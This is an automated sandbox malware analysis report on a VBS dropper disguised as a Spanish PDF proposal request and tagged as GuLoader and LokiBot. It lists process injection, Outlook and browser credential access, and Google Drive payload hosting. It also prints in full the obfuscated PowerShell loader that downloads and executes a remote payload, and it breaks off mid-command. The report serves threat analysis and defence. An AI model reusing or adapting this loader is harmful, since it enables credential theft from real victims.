Malware Analysis Report

2024-11-30 23:46

Sample ID 240916-rhvdvssamq
Target Solicitud de propuesta(E007-24)·pdf.vbs
SHA256 5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7
Tags
guloader lokibot collection credential_access discovery downloader spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7

Threat Level: Known bad

The file Solicitud de propuesta(E007-24)·pdf.vbs was found to be: Known bad.

Malicious Activity Summary

guloader lokibot collection credential_access discovery downloader spyware stealer trojan

Guloader,Cloudeye

Lokibot

Credentials from Password Stores: Credentials from Web Browsers

Blocklisted process makes network request

Checks computer location settings

Accesses Microsoft Outlook profiles

Legitimate hosting services abused for malware hosting/C2

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of NtCreateThreadExHideFromDebugger

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

outlook_office_path

outlook_win_path

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious use of WriteProcessMemory

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-16 14:12

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-16 14:12

Reported

2024-09-16 14:14

Platform

win7-20240903-en

Max time kernel

143s

Max time network

150s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de propuesta(E007-24)·pdf.vbs"

Signatures

Guloader,Cloudeye

downloader guloader

Lokibot

trojan spyware stealer lokibot

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1996 set thread context of 2300 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2256 wrote to memory of 2496 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2256 wrote to memory of 2496 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2256 wrote to memory of 2496 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2496 wrote to memory of 2908 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
PID 2496 wrote to memory of 2908 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
PID 2496 wrote to memory of 2908 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
PID 2496 wrote to memory of 3032 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2496 wrote to memory of 3032 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2496 wrote to memory of 3032 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2496 wrote to memory of 2676 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2496 wrote to memory of 2676 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2496 wrote to memory of 2676 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2676 wrote to memory of 1996 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2676 wrote to memory of 1996 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2676 wrote to memory of 1996 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2676 wrote to memory of 1996 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1996 wrote to memory of 2556 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1996 wrote to memory of 2556 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1996 wrote to memory of 2556 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1996 wrote to memory of 2556 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1996 wrote to memory of 2300 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 1996 wrote to memory of 2300 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 1996 wrote to memory of 2300 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 1996 wrote to memory of 2300 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 1996 wrote to memory of 2300 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 1996 wrote to memory of 2300 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de propuesta(E007-24)·pdf.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe

dw20.exe -x -s 788

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym 